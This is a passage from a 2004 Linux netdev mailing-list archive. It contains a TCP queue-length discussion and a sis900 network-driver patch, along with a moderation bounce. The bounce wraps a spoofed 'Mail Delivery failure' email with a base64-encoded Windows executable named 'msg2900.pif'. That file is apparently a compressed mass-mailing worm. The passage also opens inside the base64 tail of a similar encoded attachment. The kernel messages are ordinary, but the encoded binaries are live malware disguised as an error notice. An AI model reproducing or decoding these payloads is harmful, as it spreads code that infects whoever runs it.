0oQBPR+jyLeFPOEEFmUWlwbPY0mCeVJXEBF8qrDtf1xFeeh3jgGvAKNjqzTyjHIR9st5GLGF XFKHtmgRCbuF+JApafNdAjkcRvNNvmNyyMRBd8cLYprL2gDerZrpvK6tN3B19CUGyQTT2lST /0BnTiRqkB36zcClde8/3P9OIjU8j+Lmf6HbKFXTAjrjQOyZMMkhxn5Pv7z6mKRSPsfGf/9S TGEM5SFpBveLpzSNsv42znXHFgKux8o7Y988wJpP7ALynwERegh1b3VveA4efgyMwXhFdbVC lybCg1abyU9fUUZtmSONnTMYqZnQjCOc6UsSISYAeO0YweBPIPwQp8qvC0A4Iw6qEAjBiWYc F9/7dSZKfA4sA7ic8vdXZRtjhfqb+/QlSSdeiFtZ638dhZpslnxrrOyWCkQC9zv5ThE1c+hq 9gjgnzjc1aqhTcNgOo4dPSKRHGSEK1bixnOSMwNr2we84tNGyphKUZekD4uOEwYY0NJ75CnO tudCWdCoGNDFAKx6ySH9tODWM0upDR0qepLdNbId4nRLjwAAAQACACAgEAABAAQA6AIAAAEA KAAAACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAMz//wBoV1gAAAAAAICA gAD///8AwMDAAP8AAAAA//8AvwAAAAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiIRIi IiIiIiIiIiIiIiIiIiE1VVVVVVVVVVVVVSUiIiIjRERERERERERERERSUiIiI0RERERERFVU REVVUlIiIiNEiIiIREmZRESZlFJSIiIjRERERERElURESVRSUiIiI0SIiIiIRElVVVlUUlIi IiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRSUiIiI0RERERERERElUlUUlIiIiNEiIiI iIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SIiIiIiIiIRElEUlIiIiNERERERERERERE RFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIj RERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIiIiNEOZJEQkRERERERFJSIiIjRDIiIiJE iIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3ckSIiIiIRFJSIiIjRDRCd3JERERERERS UiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDMyIiJERERERERSUiIiI0RE REREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIjQkQkQkQkQkQkQkQyUiIiIiQzQzQzQzQz QzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH 4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzoMEABacD9QwPA BcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAoi/BoyMA3D7dF CFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyKNAiIg/j7v1QB dQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwIfXgEii4JEWd6 ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs4PtOjNcUvEb3 AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0YTAJamXoMrv+ EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2dSLGAxU4NXxQ UVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQCXQkEENVJ2yX zo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTNMGJKnwpT2WtZ TrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1+GVy9m8AbmZp Zzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDOEQQN6Ba+EX2k Dnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIHQQIGEwqOQigB dwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4BceMBUB7ADrQRS AzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZuFb6/KWELHEEd Vp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFweUlSm+R0RkTA JFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5UUJNDz+5uNA0Y TGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAA ------=_NextPart_000_0016----=_NextPart_000_0016-- From ak@muc.de Wed May 19 04:54:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 19 May 2004 04:55:00 -0700 (PDT) Received: from zero.aec.at (Halcyon_Jones@zero.aec.at [193.170.194.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4JBsuKO024086 for ; Wed, 19 May 2004 04:54:57 -0700 Received: from averell.firstfloor.org.muc.de (Henry_Haukhorn@localhost.localdomain [127.0.0.1]) by zero.aec.at (8.11.6/8.11.2) with ESMTP id i4JBsrn01981; Wed, 19 May 2004 13:54:54 +0200 To: Marc Herbert cc: netdev@oss.sgi.com Subject: Re: TxDescriptors -> 1024 default. Please not for every NIC! References: From: Andi Kleen Date: Wed, 19 May 2004 13:54:53 +0200 In-Reply-To: (Marc Herbert's message of "Wed, 19 May 2004 11:30:28 +0200 (CEST)") Message-ID: User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.2 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by zero.aec.at id i4JBsrn01981 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4JBsuKO024086 X-archive-position: 5181 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@muc.de Precedence: bulk X-list: netdev Marc Herbert writes: > > PS: several people seem to think TCP "drops" packets when the qdisc is > full. My analysis of the code _and_ my experiments makes me think they > are wrong: TCP rather "blocks" when the qdisc is full. See explanation > here: > (Subject: Re: TcpOutSegs way too optimistic (netstat -s)) This behaviour was only added relatively recently (in late 2.3.x timeframe) I believe all the default queue lengths tunings were done before that. So it would probably make sense to reevaluate/rebenchmark the default queue lengths for various devices with the newer code. -Andi From webvenza@libero.it Wed May 19 07:28:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 19 May 2004 07:29:25 -0700 (PDT) Received: from gateway.milesteg.arr (venza@adsl-74-86.38-151.net24.it [151.38.86.74]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4JESsKO029967 for ; Wed, 19 May 2004 07:28:55 -0700 Date: Wed, 19 May 2004 16:28:52 +0200 From: Daniele Venzano To: Linux Kernel Mailing List , Andrew Morton Cc: netdev@oss.sgi.com, Jeff Garzik , Dominik Karall Subject: Re: [PATCH] Sis900 bug fixes 3/4 Message-ID: <20040519142852.GC798@picchio.gall.it> Mail-Followup-To: Linux Kernel Mailing List , Andrew Morton , netdev@oss.sgi.com, Jeff Garzik , Dominik Karall References: <20040518120237.GC23565@picchio.gall.it> <20040518123020.GF23565@picchio.gall.it> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="VywGB/WGlW4DM4P8" Content-Disposition: inline In-Reply-To: <20040518123020.GF23565@picchio.gall.it> X-Operating-System: Debian GNU/Linux on kernel Linux 2.4.25-grsec X-Copyright: Forwarding or publishing without permission is prohibited. X-Truth: La vita e' una questione di culo, o ce l'hai o te lo fanno. X-GPG-Fingerprint: 642A A345 1CEF B6E3 925C 23CE DAB9 8764 25B3 57ED X-archive-position: 5182 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: webvenza@libero.it Precedence: bulk X-list: netdev --VywGB/WGlW4DM4P8 Content-Type: multipart/mixed; boundary="dTy3Mrz/UPE2dbVg" Content-Disposition: inline --dTy3Mrz/UPE2dbVg Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, May 18, 2004 at 02:30:20PM +0200, Daniele Venzano wrote: > Dominik: > Could you please test this patch ? Thanks. After further testing with Dominik, I made a new patch that actually works. So, please disregard patch number 3 I sent before and use this one instead. The other patches need no changes and can be found here: http://teg.homeunix.org/sis900.html They are: sis900-maintainers sis900-isa-bridge-id sis900-phy-detection (attached below) sis900-header-cleanups This patch has been tested on a previously working system (keeps working) and on a before-not-working one (now works as expected). Please, consider this patchset for inclusion. --=20 ----------------------------- Daniele Venzano Web: http://teg.homeunix.org --dTy3Mrz/UPE2dbVg Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="sis900-phy-detection.diff" Content-Transfer-Encoding: quoted-printable --- linux-2.6.6/drivers/net/sis900.c 2004-05-18 21:46:41.000000000 +0200 +++ linux-sis900/drivers/net/sis900.c 2004-05-18 21:44:31.000000000 +0200 @@ -116,6 +116,7 @@ #define HOME 0x0001 #define LAN 0x0002 #define MIX 0x0003 +#define UNKNOWN 0x0 } mii_chip_table[] =3D { { "SiS 900 Internal MII PHY", 0x001d, 0x8000, LAN }, { "SiS 7014 Physical Layer Solution", 0x0016, 0xf830, LAN }, @@ -577,9 +578,11 @@ break; } =09 - if( !mii_chip_table[i].phy_id1 ) + if( !mii_chip_table[i].phy_id1 ) { printk(KERN_INFO "%s: Unknown PHY transceiver found at address %d.\n", - net_dev->name, phy_addr); =09 + net_dev->name, phy_addr); + mii_phy->phy_types =3D UNKNOWN; + } } =09 if (sis_priv->mii =3D=3D NULL) { @@ -644,15 +647,15 @@ static u16 sis900_default_phy(struct net_device * net_dev) { struct sis900_private * sis_priv =3D net_dev->priv; - struct mii_phy *phy =3D NULL, *phy_home =3D NULL, *default_phy =3D NULL; + struct mii_phy *phy =3D NULL, *phy_home =3D NULL, *default_phy =3D NULL,= *phy_lan =3D NULL; u16 status; =20 for( phy=3Dsis_priv->first_mii; phy; phy=3Dphy->next ){ status =3D mdio_read(net_dev, phy->phy_addr, MII_STATUS); status =3D mdio_read(net_dev, phy->phy_addr, MII_STATUS); =20 - /* Link ON & Not select deafalut PHY */ - if ( (status & MII_STAT_LINK) && !(default_phy) ) + /* Link ON & Not select default PHY & not ghost PHY */ + if ( (status & MII_STAT_LINK) && !default_phy && (phy->phy_types !=3D U= NKNOWN) ) default_phy =3D phy; else{ status =3D mdio_read(net_dev, phy->phy_addr, MII_CONTROL); @@ -660,12 +663,16 @@ status | MII_CNTL_AUTO | MII_CNTL_ISOLATE); if( phy->phy_types =3D=3D HOME ) phy_home =3D phy; + else if (phy->phy_types =3D=3D LAN) + phy_lan =3D phy; } } =20 - if( (!default_phy) && phy_home ) + if( !default_phy && phy_home ) default_phy =3D phy_home; - else if(!default_phy) + else if( !default_phy && phy_lan ) + default_phy =3D phy_lan; + else if ( !default_phy ) default_phy =3D sis_priv->first_mii; =20 if( sis_priv->mii !=3D default_phy ){ --dTy3Mrz/UPE2dbVg-- --VywGB/WGlW4DM4P8 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: Digital signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAq28k2rmHZCWzV+0RAhAGAJwMI6K41FBomhpqaYGKEvkm+LDW7gCgmuFR v8IVWisWzojsuvL1aBAJu44= =NHT1 -----END PGP SIGNATURE----- --VywGB/WGlW4DM4P8-- From announce-owner@mj2.freeswan.org Wed May 19 13:58:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 19 May 2004 13:58:58 -0700 (PDT) Received: from lists.freeswan.org (lists.freeswan.org [194.109.218.211]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4JKwhKO027103 for ; Wed, 19 May 2004 13:58:44 -0700 Received: from mj2.freeswan.org (localhost.bbc.net [127.0.0.1]) by lists.freeswan.org (Postfix) with SMTP id 1895D3105C for ; Wed, 19 May 2004 14:51:24 -0400 (EDT) MIME-Version: 1.0 X-Mailer: MIME-tools 5.411 (Entity 5.404) Date: Wed, 19 May 2004 20:51:23 +0200 From: announce-owner@mj2.freeswan.org To: netdev@oss.sgi.com Subject: Stalled post to announce Content-Type: multipart/mixed; boundary="----------=_1084992683-1038-2241" Message-Id: <20040519185125.1895D3105C@lists.freeswan.org> X-archive-position: 5183 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: announce-owner@mj2.freeswan.org Precedence: bulk X-list: netdev This is a multi-part message in MIME format... ------------=_1084992683-1038-2241 Content-Type: text/plain; charset="us-ascii" Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-Language: en Your message to announce has been delayed, and requires the approval of the moderators, for the following reason(s): The announce mailing list is moderated. If you do not wish the message to be posted, or have other concerns, please send a message to the list owners at the following address: announce-owner@mj2.freeswan.org ------------=_1084992683-1038-2241 Content-Type: message/rfc822 Content-Disposition: inline Content-Transfer-Encoding: 8bit Content-Description: Original message Return-Path: Delivered-To: announce-lists.freeswan.org@lists.freeswan.org Received: from ecotone (ecotone.toad.com [216.240.42.33]) by lists.freeswan.org (Postfix) with ESMTP id B2BF12ADD5 for ; Wed, 19 May 2004 12:38:40 -0400 (EDT) Received: from infinity.barnhard.net (infinity.barnhard.net [216.181.81.6]) by ecotone (Postfix) with ESMTP id 0E9EA1467C for ; Sat, 15 May 2004 05:07:36 -0700 (PDT) Received: from lists.freeswan.org ([218.79.109.157]) by infinity.barnhard.net (8.11.6/8.11.6) with ESMTP id i4FC6xg26871 for ; Sat, 15 May 2004 08:06:59 -0400 Message-Id: <200405151206.i4FC6xg26871@infinity.barnhard.net> From: netdev@oss.sgi.com To: announce@lists.freeswan.org Subject: Mail Delivery failure (announce@lists.freeswan.org) Date: Sat, 15 May 2004 20:04:59 +0800 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0016----=_NextPart_000_0016" X-Priority: 1 X-MSMail-Priority: High This is a multi-part message in MIME format. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Mail Delivery - This mail couldn't be displayed ------------- failed message ------------- .VKrKA*ITt:wSmJovw1x0Qzqn!8TMFY3tIU97KO.E*hG? oö>YimDV6r'N~*_2,kh>TRßd,dvJBqP:(-bZ2&6üdzT- 5üEdOEP&M5nbci(ba2ßßErCxPhqNä(A:STgoZ0mr:E5 L74lzFrQ>|uB>UdC#$i$IWF*P0oQ$Ig Received message has been attached. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: application/octet-stream; name="msg2900.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="msg2900.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAxzIXZda3rinWt64p1reuKda3qimet64oXsviKcK3rip2y 4Ip3reuKzavtinSt64pSaWNoda3rigAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRpdGUgKGMp MTk5OSBJYW4gTHVjay4AAFBFAABMAQMA76BkQAAAAAAAAAAA4AAPAQsBBgAABAAAAGYAAAAA AABCoAAAABAAAAAgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAALAAAAAEAAAAAAAA AgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/KEAANAAAAAAQAAAaF8AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAMAAAABAAAAAGAAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAAGAAAABAAABoXwAA AA4AAAAAAAAAAAAAAAAAAEAAAEAucGV0aXRlAMwCAAAAoAAAAAQAAAAEAAAAAAAAAAAAAAAA AABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 AgAAAKgAAIAAAAAAAAAAAAAAAAABAAAAIAEAgMAAAIAAAAAAAAAAAAAAAAAAAAEABwQAANgA AAAAAAAAAAAAAAAAAAAAAAEABwQAAOgAAAAAAAAAAAAAAAAAAAAAAAEABwQAAPgAAAAAAAAA AAAAAAAAAAAAAAEABwQAAAgBAABkRQAAAFoAAAAAAAAAAAAAPEQAACgBAAAAAAAAAAAAAFRB AADoAgAAAAAAAAAAAAAwQQAAIgAAAAAAAAAAAAAAAwBCAEkATgABADAAAAAAAAAAAAAAAAAA AAABAAIAEBAQAAEABAAoAQAAAQAgIBAAAQAEAOgCAAACAAAAKAAAACAAAABAAAAAAQAEAAAA AACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAADAwMAA gICAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAACIiIiIiIiIiIiIiIiIgAAAj////////////////4AAAIf///////////////eAAACP f/////////////9/gAAAj/f////////////3/4AAAI//f///////////f/+AAACP//f///// ////9///gAAAj///f////////3///4AAAI////f///////f///+AAACP//93d3d3d3d3f/// gAAAj//3f39/f39/f3f//4AAAI//d/f39/f39/f3f/+AAACP939/f39/f39/f3f/gAAAh3f3 9/f39/f39/f3d4AAAI9/f39/f39/f39/f3+AAACP////////////////AAAACP////////// ////8AAAAACP/////////////wAAAAAACP////////////AAAAAAAACP//////////8AAAAA AAAACP/////////wAAAAAAAAAACP////////AAAAAAAAAAAACP//////8AAAAAAAAAAAAACP /////wAAAAAAAAAAAAAACIiIiIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAP/////////////////////AAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AA AAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAB+AAAA/wAAAf+AAAP/wAAH/+AAD/ /wAB//+AA///wAf//+AP////////////KAAAABAAAAAgAAAAAQAEAAAAAADAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAAwMDAAAAA/wAA/wAA AP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf///////AAB3 //////cAAH9/////fwAAf/f///f/AAB/f3d3f38AAHf4+Pj49wAAf4+Pj4+PAAAH+Pj4+PAA AAB/j4+PAAAAAAf4+PAAAAAAAHd3cAAAAAAAAAAAAAAAAAAAAAAAAP//AAD//wAAwAEAAMAB AADAAQAAwAEAAMABAADAAQAAwAEAAMABAADgAwAA8AcAAPgPAAD8HwAA//8AAP//AABP5htl 5BRQtT3YEFDyM4q3iLOr8OJdqDiT/J+e3D7NlcekFQERUaFm7E5IVh1hcWOmcnLYKRznuMt5 sbmKWjXLBW3JYpR7Gx/TxefyXL4syX062KZvdiAysccEYvldjUVtW8RqxwD8nt+vUV57YMG5 De1pHLXcVey9yIfOr7Hq9jHfPHV9PUne0qWYR7VtlBs2BoioYpTjlYjZJrCeyNnq4kWRb8rj 3vrGMsQWh/sPMVuCxjzwJ3YAchDyUZQc1Yui6BatTsJyhmeFui3QNWcVuBS2ziH8xgIcxDO6 AtSrsK5K6vRP7VQh2H5y2SxQFGPVfO+PfaQunX/khhni1eWCOjxdy2fZQT7MSnHhCE13FwtG SpGaz3axQ2fBY55SNPdysHUsR0TJg+W3T+4DAVQvPboGrhlpXVb+gcMc0Nvt/Yhyi4fCnVBL 2VTMqwdtu2lcHJwN9b/7ztjlczF13TzeS+Zcj800KAaCxB1NTmGMKS92A59b65X8mKGMrZmk rdqSQ70ioKSiVEMfTbPRaX5DhzpzN8ZDTmlvwXkibIu7KgTLQV6ItRytIEADAZBqr2GHZpuS NydqJYZa0pdBpOvFqlBJGEbx6ISORZtkVmY8TQ6ko8u5RobZVQok5mjYozTIjj2exQv0tYux vuADgC4fGUGU9k3p4xWwMeuubw4knwnFm625p56H/zUsvuZFfwdDsmzx8n5h1JoEvZR5Nzul ++clCcm/Me6yneykN2IuoxnCZh5JGGArVJuXR0OV9fdNZGcqVOqw4mzbejzeur5xxpxAPc2G AHyhQPlTL0o+wu5PkNRzURCUZBVR/C2wS9rjrc5mf7bniv5MQjPpCYxi9qRtZ4R7lo48LATu ieEB2zYOllt22kQDDlLmn/2iMk7HYZkNLPr1ZxQ+2eki5pTQu3Y1W4tYaQQ0s6ScVEfmXxyE GrSJS2hZRyHJzS2mq+V2DDEXkcGKkakZSWQOJ6roPXYEobo4ZQc+hsU4XKCcIl1pMH41YvHq NgsI3wKK3elrD/xW08Slzu4FC4SEEVJner5Q3VrIVUty3dvZghmDs1wpBK6z+TmJRdlO3eIG 